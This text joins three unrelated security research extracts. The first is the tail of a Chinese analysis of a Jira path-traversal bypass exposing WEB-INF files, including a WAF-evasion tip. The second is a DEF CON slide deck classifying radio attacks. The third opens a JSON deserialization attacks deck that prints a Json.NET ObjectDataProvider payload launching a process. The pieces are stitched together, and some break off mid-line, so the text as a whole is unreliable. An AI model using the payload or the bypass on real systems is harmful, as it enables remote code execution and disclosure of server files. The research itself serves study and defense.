doRules:144, RuleChain (org.tuckey.web.filters.urlrewrite)
processRequest:92, UrlRewriter (org.tuckey.web.filters.urlrewrite)
doFilter:394, UrlRewriteFilter (org.tuckey.web.filters.urlrewrite)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core) [10]
doFilter:30, CorrelationIdPopulatorFilter (com.atlassian.jira.servermetrics)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
...(省略)
doFilterInternal:115, GzipFilter (com.atlassian.gzipfilter)
doFilter:92, GzipFilter (com.atlassian.gzipfilter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core) [1]
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:493, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:206, StuckThreadDetectionValve (org.apache.catalina.valves)
invoke:137, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
12/18
后⾯有的dontProcessAnyMoreRules把ruleIdxToRun赋值为rule.size()，才后⾯就会跳出判断，
不再进⾏匹配。
⾄此， process ⽅法结束，接下来是 handleRewrite ，这部分主要是请求转发
简单了解⼀下请求转发的作⽤域：
访问受保护⽬录下的资源
requestDispatcher:是服务器的资源封装器，可以封装服务器内部所有资源。
（包括WEB-INF下资源）
WEB-INF是受保护⽬录，不能够通过浏览器直接访问
可以通过请求转发去访问
可以看到10-11之间的调⽤堆栈，这⾥具体是对请求进⾏了⼀次转发。
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:798, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:808, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1498, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
13/18
于是接下来对请求直接进⾏了dofilter的操作，从⽽没有经过
org.apache.catalina.core.StandardContextValve#invoke ，个⼈认为请求转发作⽤域延伸到
受保护⽬录下的资源也是因为如此。
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
14/18
这也导致了第⼆次访问是由defaultServlet对资源进⾏的请求，也可以看到这⾥⾯filterconfig⾥⾯
仍然是存在JiraLoginFilter的，因为在web.xml中就已经配置全路径了
4、 JiraLoginFilter放⾏
看dofilter⽅法中第⼀⾏，这⾥是函数式接⼝，能够获取到SessionInvalidator并且存在的话，将这
个值符给jiraUserSessionInvalidator这个参数，并执⾏handleSessionInvalidation⽅法。这⾥获取
到存在的变量是 jiraUserSessionTracker ，所以后⾯执⾏的⽅法是
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
15/18
com.atlassian.jira.web.session.currentusers.JiraUserSessionInvalidator#handleSessi
onInvalidation
此处session是为空的，因为我们还没有登录，执⾏到finally块，判断完其实这⾥什么都没做。
接下来⾛到选择filter过滤器再进⾏doFilter的⽅法，因为这俩参数都没传，所以会传
seraphHttpAuthFilter参数回去，执⾏他的dofilter⽅法。
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
16/18
⾛到HttpAuthFilter⽗类的⽅法
看到status为空，所以两个return的块我们也进不去，所以⾛到最后⼀⾏代码继续放⾏。不做未
认证的跳转也返回值，所以最终会交到DefaultServlet的⼿上。
局限
传⼊的解析完之后的参数是/WEB-INF/web.xml，局限也就是在于下⾯部分，会再次去资源进⾏⼀
个normalize的处理，导致不能跨越web路径进⾏⼀个资源的读取，只能在web的路径之下。
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
17/18
file会将web⽬录的路径和我们请求的绝对路径进⾏拼接
之后再进⾏⼀次normlize的⽅法，在后⾯的getResource⽅法中和web路径进⾏拼接的时候，也就
达不到跨越web路径的⽬的。
2022/2/22 17:19
1.md
file:///Users/s3gundo/Documents/markdown/vulns/java/jira/1.md
18/18
修复
对正则进⾏了删改
也就是 WEB-INF 或者 META-INF 的前后有特殊字符，则返回 null;
三、总结
综上，在渗透测试的过程中，有些waf会拦截 ;/ ，在中间填充字符串可绕过某些特征。
⽂笔很烂，如有错误，请多多指教。
Pattern PATHS_DENIED = Pattern.compile("[^a-zA-Z0-9]((?i)(WEB-INF)|(META-INF))[^a- | pdf |
RADIO EXPLOITATION 101
MATT KNIGHT // MARC NEWLIN // BASTILLE NETWORKS
CHARACTERIZING//CONTEXTUALIZING//CLASSIFYING RF ATTACKS
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
WHO ARE THESE GUYS
▸ Matt Knight
▸ Software Engineer and Security Researcher @
▸ Reverse engineered the LoRa wireless protocol in 2016
▸ BE & BA from Dartmouth
▸ Marc Newlin
▸ Security Researcher @
▸ Discovered Mousejack vulnerability in 2016
▸ Finished 3rd in DARPA Spectrum Challenge in 2012
▸ Finished 2nd in DARPA Shredder Challenge in 2010
matt@ .net
@embeddedsec
marc@ .net
@marcnewlin
WIRELESS
EXPLOITATION
METHODS
WIRELESS
VS.
WIRED
DO
IT
LIVE (DEMO)
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
AGENDA
1. Evolution wired and wireless network attacks
2. RF technical overview
3. Methods of Wireless Exploitation
‣ Techniques, impact, and defenses
‣ Analogues to wired networks
‣ Examples and demos (do it live!)
4. How to apply this information
EVOLUTION OF NETWORK SECURITY
HISTORICAL BACKGROUND // CONTEXT
https://frostedpress.files.wordpress.com/2016/09/4286297.png
1990s
Packet sniffing in the
http://s202976374.onlinehome.us/ebay/test_equip/analyzers/Dolch_PAC_64_05.jpg
NETWORK GENERAL PACKET SNIFFER
$8,000+ (in 1990s dollars)
Installed on a Dolch lunchbox computer
1998
Packet sniffing in
ETHEREAL // WIRESHARK
$0
https://blog.wireshark.org/wp-content/uploads/2013/10/ethereal-0.2.0.png
2000s
Wireless* sniffing in the
*non-802.11
EARLY SDRS
>>$100K
2012
Wireless sniffing in
RTL 2832 USB STICK
$8
(not pictured: promiscuous mode driver)
2017
Wireless sniffing in
ALL THE SDRS
$8 -> $1150
https://www.nuand.com/blog/wp-content/uploads/2013/05/DSC0063.png
https://www.ettus.com/product/details/UB210-KIT
https://cdn.sparkfun.com//assets/parts/9/9/5/3/13001-04.jpg
https://cdn.itead.cc/media/catalog/product/i/m/im141027001_5__1.jpg
http://www.nooelec.com/store/media/catalog/product/cache/1/image/1200x/040ec09b1e35df139433887a97daa66f/n/e/nesdr_mini_1b.jpg
https://www.ettus.com/content/images/USRP_B200mini_Front_Diagonal_Large.png
ON PROTOCOLS…
1990s
Key protocols in the
802.3
802.5
2017
Key protocols in
LTE-M
GPS
802.5
802.11
WiMax
Enocean
DMR
802.3
HSPA
LTE
CDMA
GSM
Bluetooth
Bluetooth LE
Z-Wave
802.15.4GPRS
EDGEDECT
LoRa
SIGFOX
802.16
nRF24
NB-IoT
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
WIRELESS IN 2017
▸ 802.11 is just one piece of the puzzle
▸ Explosion of IoT and Mobile means…
▸ There’s a PHY for every use case
▸ Licensed and unlicensed spectrum
▸ Embedded systems require
compromises
http://postscapes.com/internet-of-things-technologies
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
EMBEDDED TRADEOFFS
▸ Battery powered
▸ Limited user interaction
▸ Lack of crypto
▸ Unsuitable pipes for firmware updates
▸ Performance, UX, cost, and delivery
are more important than best practices
https://www.thestar.com/content/dam/thestar/yourtoronto/the_fixer/2013/11/08/cyclists_cant_trip_the_light_if_the_sensor_doesnt_work/the_fixer.jpg.size.custom.crop.867x650.jpg
Literal embedded systems
SECURITY THROUGH
OBSCURITY
Historical reliance on
means…
[PIÑATAS]
SO WHAT DOES IT TAKE…
…TO HACK WIRELESS
https://www.youtube.com/watch?v=LY8Wi7XRXCA
FIRST
! ENDPOINTS
[ SYSTEMS, DATA AT REST ]
" NETWORKS
[ DATA IN MOTION ]
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
IP NETWORK SNIFFING IS EASY
▸ Interfacing with an IP network is trivial
▸ Hardware NICs, monitor mode
▸ Known Layer 2 // MAC frame protocols
▸ 802.3 // Ethernet for wired IP traffic
▸ 802.11 // Wi-Fi for wireless IP traffic
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
WIRELESS* NETWORK SNIFFING IS HARD
▸ Network interface is totally non-trivial
▸ Your Wi-Fi NIC can’t sniff wireless traffic
from your home security system
▸ Arbitrary Layer 1 // PHYs
▸ There are many ways to make a PHY
▸ 802.11 // Wi-Fi is just one example
*non-802.11
SOFTWARE
DEFINED RADIO
Enter…
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
SOFTWARE DEFINED RADIO (SDR)
▸ Board with flexible wideband RF frontend
▸ Captures raw radio spectrum
▸ Shuttles RF I/Q samples to DSP or host
▸ Implement arbitrary PHYs in:
▸ Software
▸ FPGA HDL
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
SDR DOWNSIDES
▸ Requires:
▸ Lots of computing power, power hungry
▸ Complex and esoteric domain knowledge
▸ Left: RTL for one of Matt’s 802.15.4 decoders
▸ Want to learn about SDR and PHYs? Check
out our “So You Want to Hack Radios” series
from Shmoocon, Troopers, and
HITB2017AMS
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
OPEN SOURCE SOFTWARE RADIO
▸ Vibrant open-source SDR community
▸ GNU Radio
▸ Modular signal processing framework
▸ Abstracts away hard math
▸ Ossmann and Balint’s video tutorials
▸ Wireless Village here at DEF CON
RF CONCEPTS
GROSSLY SIMPLIFIED
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
PHYSICAL LAYER (PHY)
▸ Lowest layer in communication stack
▸ In wired protocols: voltage, timing, and
wiring defining 1s and 0s
▸ In wireless: patterns of energy being
sent over RF medium
http://www.tech-faq.com/wp-content/uploads/2009/01/osimodel.png
Spectrogram
Time
Frequency
Power (z-axis)
a.k.a. “waterfall”
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
MANIPULATING RF
▸ … is done with a radio
▸ Hardware defined
▸ Software defined radio (SDR)
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
PHY COMPONENTS
▸ Modulation
▸ How digital values are mapped to RF energy
▸ RF parameters that can be modulated:
▸ Amplitude
▸ Frequency
▸ Phase
▸ some combination of the above
http://xenon.colorado.edu/spotlight/kb/gps_basics/modulations.001.png
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
HOW TRANSMITTING WORKS
Layer 2 (MAC)
Layer 1 (PHY)
http://xenon.colorado.edu/spotlight/kb/gps_basics/modulations.001.png
MAC Frame
HW Addresses
Sequence Number
(other stuff)
Layer 3 Frame
MAC Frame
Preamble
Start of Frame Delim.
PHY Header +
+
CRC
PHY Frame
Modulation
(to antenna)
Maps 1s and 0s to
(electrical phenomena
)
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
HOW RECEIVING WORKS
Layer 2 (MAC)
Layer 1 (PHY)
MAC Frame
HW Addresses
Sequence Number
(other stuff)
Layer 3 Frame
(from antenna)
PHY State Machine
Wait for Preamble
Look for SFD
(optional) Inspect
PHY Header
Demodulate N bits
Check CRC
Present to Layer 2
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
KEY CONCEPTS
▸ Radios are state machines
▸ They process environmental inputs
▸ They are deterministic: not magic
▸ RF is a lossy analog medium
▸ Developers know this! Radios are resilient
▸ Tons of contention
▸ Opportunities for tactical abuse
METHODS OF EXPLOITATION
CLASSIFYING RF ATTACK METHODS
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
CLASSIFYING RF ATTACK METHODS
▸ For each attack classification, we’ll show:
1. Method: how the attack is performed
2. Impact: what the attack enables
3. Analogue: equivalent attack on wired/IP network, if one exists
4. Example: A relevant example of this type of attack
5. Proof: demo
SNIFFING
RECONNAISSANCE // DATA LEAKAGE
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
SNIFFING OVERVIEW
▸ Method
▸ Capture traffic from nearby networks
▸ Impact
▸ Data loss // leakage
▸ Reconnaissance for further development
▸ Wired Analogue
▸ None! Unique characteristic of RF
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
SNIFFING APPLIED
▸ Example
▸ Key extraction during ZigBee lock pairing
▸ Keystrokes from unencrypted keyboards
▸ Limitations
▸ Physical range, availability of PHY
interface
▸ Demo Scenario
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
SNIFFING DEMO
▸ HP Classic Wireless Desktop
▸ Unencrypted wireless keyboard
▸ Keystroke sniffing demo
▸ Proprietary 2.4 GHz wireless protocol
▸ MOSART Semiconductor transceiver
▸ No encryption
▸ No official protocol documentation
▸ Over-the-air compatible with nRF24L USB dongles
WARDRIVING
DEVICE DISCOVERY // ATTACK DEVELOPMENT
https://media.defcon.org/DEF%20CON%2021/DEF%20CON%2021%20presentations/Balint%20Seeber/DEFCON-21-Balint-Seeber-All-Your-RFz-Are-Belong-to-Me.pdf
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
WARDRIVING OVERVIEW
▸ Method
▸ Scan for identifying features on a protocol of
interest
▸ (Optional) actively beacon to induce traffic
▸ Impact
▸ Discovery of exploitable devices or networks
▸ Wired Analogue
▸ Port scanning, service discovery
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
WARDRIVING APPLIED
▸ Example
▸ 802.11 AP discovery
▸ Beaconing for a ZigBee network
coordinator
▸ Limitations
▸ Physical range, number of channels,
easy to spot if defender knows to
look for it
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
WARDRIVING DEMO
▸ 802.15.4 wardriving
▸ Killerbee exploitation framework
▸ Crafts broadcast beacon requests
▸ ApiMote hardware radio board
▸ Sends out requests
▸ Records responses from 802.15.4
network coordinators
REPLAY
DEVICE CONTROL // STATE MANIPULATION
http://www.freeiconspng.com/uploads/reload-icon-3.png
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
REPLAY ATTACK OVERVIEW
▸ Method
▸ Re-transmit a previously captured PHY
frame
▸ Impact
▸ Change the state of a device or something
on the network
▸ Wired Analogue
▸ Same (replays exists on wired networks too)
Ctrl+C
Ctrl+V
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
REPLAY ATTACKS APPLIED
▸ Example
▸ 2017 Dallas tornado emergency siren
attack
▸ Limitations
▸ Defeated by freshness (sequence
number) or authentication
(cryptography/trust)
https://www.washingtonpost.com/news/the-intersect/wp/2017/04/09/someone-hacked-every-tornado-siren-in-dallas-it-was-loud/?utm_term=.5b883e3bfade
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
REPLAY ATTACK DEMO
▸ Fortress Security Safeguard panic button
▸ 433 MHz on-off keying
▸ No freshness or authentication
▸ Raw IQ replay OR decode/resynthesize
https://www.amazon.com/Fortress-Security-Safeguard-All-One/dp/B01K4OMDWY/ref=cm_cr_arp_d_product_top?ie=UTF8&th=1
JAMMING
DENIAL OF SERVICE // NETWORK STATE DISRUPTION
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
JAMMING OVERVIEW
▸ Method
▸ Transmit noise or conflicting traffic within target network’s RF channel (same frequency)
▸ Impact
▸ Blocks traffic on network
▸ Network state disruption
▸ Wired Analogue
▸ Denial of Service
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
JAMMING APPLIED
▸ Example
▸ Home security system jamming
▸ Limitations
▸ Jam detection mechanisms
▸ Self-denial: difficult to
simultaneously jam and monitor
network traffic
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
JAMMING DEMO
▸ Home security system jamming
▸ 433 MHz on-off keying protocol
▸ Transmit wideband noise at 433 MHz
▸ Device jam detection mechanisms
will detect after several seconds,
so…
SMART JAMMING
EVADING DETECTION
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
DUTY CYCLED JAMMING
▸ Problem: Hardware radios implement “clear
channel” detection features to avoid talking
over other radios
▸ Sampling CCA is a zero-cost jam detector
▸ Solution: pulse jammer on and off at
appropriate rate to evade jam detection
functions
▸ Examples: Matt’s done this to defeat
802.15.4 jam detection, but doesn’t know of
any public examples
http://www.mdpi.com/sensors/sensors-11-03852/article_deploy/html/images/sensors-11-03852f1-1024.png
Jammer duty cycle
must be shorter
than this interval
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
REFLEXIVE JAMMING
▸ Problem: Continuously jamming makes
offensive network monitoring hard
▸ Jamming denies both the attacker and
the defender
▸ Solution: detect beginning of frame and
reflexively jam to target either specific
packets or trailing checksums
▸ Examples: Samy Kamkar’s RollJam (left),
reflexive jamming built into Killerbee//
802.15.4 ApiMote
https://www.wired.com/wp-content/uploads/2015/08/rolljam3.jpg
LINK LAYER RESERVATION
DENIAL OF SERVICE
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
LINK LAYER CONGESTION OVERVIEW
▸ Method
▸ Abuse channel reservation features
to reserve channel… forever
▸ See 802.11’s virtual carrier sensing
▸ Impact
▸ Denies legitimate Wi-Fi devices
access to the RF channel
▸ Wired Analogue
▸ None (virtual carrier sense is unique
to wireless protocols)
Left: 802.11 MAC header
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
LINK LAYER CONGESTION APPLIED
▸ Example
▸ No recent examples of a virtual carrier
sense abuse attack
▸ Limitations
▸ Network allocation vector constraints
▸ [802.11]: Max 32ms effect per malicious
packet
$5 attack platform (ESP8266)
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
LINK LAYER CONGESTION DEMO
▸ 802.11 virtual carrier sense abuse
▸ One-line Scapy script
▸ 802.11 frame with:
▸ Empty payload
▸ Maximum frame duration
▸ Prevents other 802.11 devices from
communicating on the channel
*cheers to Bastian Bloessl for original research
EVIL TWIN
NETWORK MEMBERSHIP // IMPERSONATION // ROUTING
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
EVIL TWIN OVERVIEW
▸ Method
▸ Impersonate a network participant by assuming its
address and configuration
▸ (Optional) actively deny the real thing
▸ Impact
▸ Man in the Middle: Intercept and actively tamper
with network traffic
▸ Tamper with routing, if eligible
▸ Wired Analogue
▸ ARP spoofing/cache poisoning
https://d1b5h9psu9yexj.cloudfront.net/32/fullsize.jpg
http://www.pngpix.com/wp-content/uploads/2016/10/PNGPIX-COM-Beard-PNG-Transparent-Image-2.png
(evil facial hair)
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
EVIL TWIN APPLIED
▸ Example
▸ WiFi Pineapple
▸ IMSI Catchers // Stingrays
▸ Limitations
▸ Defeated by authentication
(cryptography/trust)
▸ Attacker may need to deny legitimate twin
https://www.wifipineapple.com/assets/img/tetra1.jpg
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
EVIL TWIN DEMO
▸ 2G GSM/GPRS IMSI catcher/man in the
middle
▸ Presents as an arbitrary network
▸ Phones downgrade and connect if they
believe it’s the best option
https://www.wifipineapple.com/assets/img/tetra1.jpg
Faraday cage
China Mobile
FIRMWARE UPDATES
PERSISTENCE // ADDED VALUE
https://i.ytimg.com/vi/EJqpBlvXn3g/maxresdefault.jpg
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
FIRMWARE ATTACK OVERVIEW
▸ Method
▸ Modify firmware image to your liking
▸ Deliver it via OTA firmware update mechanism
▸ Impact
▸ “Added value”: modifying device behavior
▸ Persistence
▸ Denial of Service: see BrickerBot
▸ Self-propagation, worm style
▸ Wired Analogue
▸ Endpoint malware, worms, etc.
https://i.ytimg.com/vi/EJqpBlvXn3g/maxresdefault.jpg
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
FIRMWARE ATTACKS APPLIED
▸ Example
▸ Phillips Hue ZigBee Light Link worm
▸ Cesar Cerrudo’s hypothetical traffic
light sensor worm (also ZigBee)
▸ Limitations
▸ Defeated by code signing, network
encryption, etc.
http://www.wisdom.weizmann.ac.il/~eyalro/iotworm/index_files/image011.jpg
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
FIRMWARE ATTACK DEMO
▸ No demo for this one
▸ Check out ZigBee lightbulb worm at
http://iotworm.eyalro.net/
▸ Great paper and video
▸ Best part is firmware signing key
recovery through a side channel
http://www.wisdom.weizmann.ac.il/~eyalro/iotworm/index_files/image011.jpg
PHY LAYER PROTOCOL ABUSE
ESCALATION // IDS EVASION // DEVICE FINGERPRINTING
http://www.ti.com/lit/ds/symlink/cc2520.pdf
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
PHYSICAL LAYER ABUSE OVERVIEW
▸ Method
▸ Chipsets implement PHY state machines differently —
various degrees of error tolerance
▸ Send transmissions that are not strictly compliant
with a receiver’s PHY
▸ Impact
▸ Targeted receiver evasion (IDS evasion)
▸ Device fingerprinting
▸ Wired Analogue
▸ Same (demonstrated on 802.3 chipsets)
▸ Far more practical in RF domain
https://www.troopers.de/wp-content/uploads/2013/11/TROOPERS14-Making-and_Breaking-an_802.15.4_WIDS-Sergey_Bratus+Javier_Vazquez+Ryan_Speers.pdf
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
PHYSICAL LAYER ABUSE APPLIED
▸ Example
▸ 802.15.4 receiver evasion
▸ Limitations
▸ Network participants must be on
different chipsets
▸ Not all chipsets are vulnerable
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
PHYSICAL LAYER ABUSE DEMO
▸ Selectively evasive 802.15.4 packets
▸ Transmitter: ApiMote w/ CC2420
▸ Receivers: ApiMote w/ CC2420
RZUSB stick w/ AT86RF230
▸ Both receivers receive everything, until
they don’t :)
*cheers to River Loop Security, Travis Goodspeed, and Dartmouth for original research
NON-EXHAUSTIVE
[OBVIOUSLY]
CONCLUSIONS
CHARACTERIZING WIRELESS ATTACK METHODS
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
WIRELESS ATTACK METHODS SUMMARY
Analogue
Complexity
Ease of Mitigation
Sniffing
Unique!
Easy
Hard
Wardriving
Port Scanning
Easy
Hard
Replay
[same]
Easy
Moderate
Jamming
Denial of Service
Easy
Hard
Link Layer Congestion
Unique!
Moderate
Moderate
Evil Twin
ARP Spoofing
Hard
Moderate
Firmware Attack
Malware
Hard
Moderate
PHY Abuse
[same]
Hard
Hard
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
AS ATTACKERS…
▸ Look for low-hanging fruit first
▸ Unencrypted comms, replay attacks, cleartext key exchanges, etc.
▸ Complexity goes up in a hurry
▸ Bridge your traditional wired//IP network skill set wherever possible
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
AS ATTACKERS, CONTINUED
▸ Leverage Open Source Intelligence (OSINT):
▸ FCC regulatory filings
▸ Data sheets
▸ It will make your life easy
▸ Marc gave an entire talk on this at HITB2016AMS
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
AS DEVELOPERS // DEFENDERS…
▸ This is the Golden Age of RF Hacking
▸ Software Defined Radio has been
commodity for >5 years
▸ Security Through Obscurity is a naive
stance
GPS
802.5
DMR
802.3
HSPA
LTE
CDMA
GSM
Bluetoo
Z-Wave
802.15.
GPRS
EDGE
DECT
LoRa
SIGFOX
802.16
nRF24
NB-IoT
WiMax
Enocean
802.11
Bluetoot
TIME TO OWN
YOUR AIRWAVES
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
ADDITIONAL RADIO RESOURCES
▸ “So You Want to Hack Radios” series (all about RF Physical Layers)
▸ Shmoocon: https://www.youtube.com/watch?v=L3udJnRe4vc
▸ Troopers: https://www.youtube.com/watch?v=OFRwqpH9zAQ
▸ HITB2017AMS Commsec: https://www.youtube.com/watch?v=QeoGQwT0Z1Y
▸ Matt’s LoRa research
▸ 33c3: https://media.ccc.de/v/33c3-7945-decoding_the_lora_phy
▸ Marc’s OSINT techniques
▸ HITB2016AMS Commsec: https://www.youtube.com/watch?v=JUAiav674D8
▸ Dallas siren attack research
▸ White paper: https://www.bastille.net/blogs/2017/4/17/dallas-siren-attack
RADIO EXPLOITATION 101 // BASTILLE NETWORKS
ACKNOWLEDGEMENTS
▸ Balint and Logan from ’s Threat Research Team
▸ at large
▸ DEF CON 25 team!
▸ See you at DEF CON 50!
THANKS
matt@ .net
@embeddedsec
github.com/BastilleResearch
marc@ .net
@marcnewlin
QUESTIONS?
matt@ .net
@embeddedsec
github.com/BastilleResearch
marc@ .net
@marcnewlin | pdf |
Friday'the'13th:'JSON'Attacks
Alvaro'Muñoz'(@pwntester)
Oleksandr Mirosh
HPE'Security
>"whoarewe
• Alvaro'Muñoz
• Security'Research'with'HPE
• @pwntester
• Oleksandr Mirosh
• Security'Research'with'HPE
Introduction
• 2016'was'the'year'of'Java'Deserialization'apocalypse
• Known'vector'since'2011
• Previous'lack'of'good'RCE'gadgets'in'common'libraries
• Apache'Commons-Collections'Gadget'caught'many'off-guard.
• Solution?
• Stop'using'Java'serialization
• Use'a'secure JSON/XML'serializer'instead
• Do'not'let'history'repeat'itself
• Is'JSON/XML/<Put$your$favorite$format$here>'any'better?
• Raise'awareness'for'.NET'deserialization'vulnerabilities
Agenda
1. Attacking'JSON'serializers
• Affected'Libraries
• Gadgets
• Demo
2. Attacking'.NET'serializers
• Affected'formatters
• Gadgets
• Demo
3. Generalizing'the'attack
• Demo
Is'JSON'any'better?
Introduction
• Probably'secure'when'used'to'transmit'data'and'simple'JS'objects
• Replacing'Java/.NET'serialization'with'JSON'requires'OOP'support.
• How'do'we'serialize'a'java.lang.Object field?
• How'do'we'deal'with'generics?
• How'do'we'serialize'interface'fields?
• How'do'we'deal'with'polymorphism?
Quick"recap"of"Java"deser attacks
• Attackers'can'force'the'execution'of'any'readObject() /
readResolve() methods'of'any'class'sitting'in'the'classpath
• By'controlling'the'deserialized'field'values'attackers'may'abuse'the'
logic'of'these'methods'to'run'arbitrary'code
• JSON'libraries'do'not'(normally)'invoke'deserialization'callbacks'or'
magic'methods
Can'we'initiate'a'gadget'chain'in'some'other'way?
Object"Reconstruction
• JSON'libraries'need'to'reconstruct'objects'by'either:
• Calling'default'constructor'and'using'reflection to'set'field'values
• Calling'default'constructor and'calling'setters to'set'field'values
• Calling'“special”'constructors,'type'converters'or'callbacks
• Calling'common'methods'such'as:'
• hashcode(), toString(), equals(), finalize(), …
• Combinations'of'the'previous'ones'J
Gadgets:".NET"Edition
• System.Configuration.Install.AssemblyInstaller
• set_Path
• Execute'payload'on'local'assembly'load
• System.Activities.Presentation.WorkflowDesigner
• set_PropertyInspectorFontAndColorData
• Arbitrary'XAML'load
• Requires'Single'Threaded'Apartment'(STA)'thread
• System.Windows.ResourceDictionary
• set_Source
• Arbitrary'XAML'load
• Required'to'be'able'to'work'with'setters'of'types'derived'from'IDictionary
• System.Windows.Data.ObjectDataProvider
• set_(MethodName | ObjectInstance | ObjectType)
• Arbitrary'Method'Invocation
ObjectDataProvider
set_MethodName()
BeginQuery()
QueryWorker()
InvokeMethodOnInstance()'
Refresh()
set_ObjectType()
set_ObjectInstance()
ObjectDataProvider
{"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"ObjectInstance":{
"$type":"System.Diagnostics.Process, System”},
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib",
"$values":["calc"]},
"MethodName":"Start"
}
•
Non-default'constructor'with'controlled'parameters'
•
ObjectType + ConstructorParameters
•
Any'public'instance'method'of unmarshaled object'without'parameters
•
ObjectInstance + MethodName
•
Any'public'static/instance'method'with'controlled'parameters
•
ObjectType + ConstructorParameters +'MethodName +'MethodParameters
Gadgets:"Java"Edition
• org.hibernate.jmx.StatisticsService
• setSessionFactoryJNDIName
• JNDI'lookup'
• Presented'during'our'JNDI'attacks'talk'at'BlackHat'2016
• com.atomikos.icatch.jta.RemoteClientUserTransaction
• toString
• JNDI'lookup'
• com.sun.rowset.JdbcRowSetImpl
• setAutoCommit
• JNDI'lookup
• Available'in'Java'JRE
JdbcRowSetImpl.setAutoCommit
http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
JdbcRowSetImpl.setAutoCommit
http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
Gadgets:"non"RCE
Arbitrary'Getter'call
• org.antlr.stringtemplate.StringTemplate (Java)
• toString
• Can'be'used'to'chain'to'other'gadgets'such'as'the'infamous'
TemplatesImpl.getOutputProperties()
• System.Windows.Forms.BindingSource (.NET)
• set_DataMember
XXE
• System.Xml.XmlDocument/XmlDataDocument (.NET < 4.5.2)
• set_InnerXml
• System.Data.DataViewManager (.NET < 4.5.2)
• set_DataViewSettingCollectionString
Analyzed"Libraries
• Arbitrary'Code'Execution'Requirements:
1. Attacker'can'control'type'of'reconstructed'objects
• Can'specify'Type
• _type,'$type,'class,'classname,'javaClass,'…
• Library'loads'and'instantiate'Type
2. Library/GC'will'call'methods'on'reconstructed'objects
3. There'are'gadget'chains'starting'on'method'executed'upon/after'
reconstruction
Categorization
• Format'includes'type'discriminator
1.
Default
2.
Configuration'setting
• Type'control
1.
Cast'after'deserialization
2.
Inspection'of'expected'type
{
"$type": "Newtonsoft.Json.Samples.Stockholder, Newtonsoft.Json.Tests",
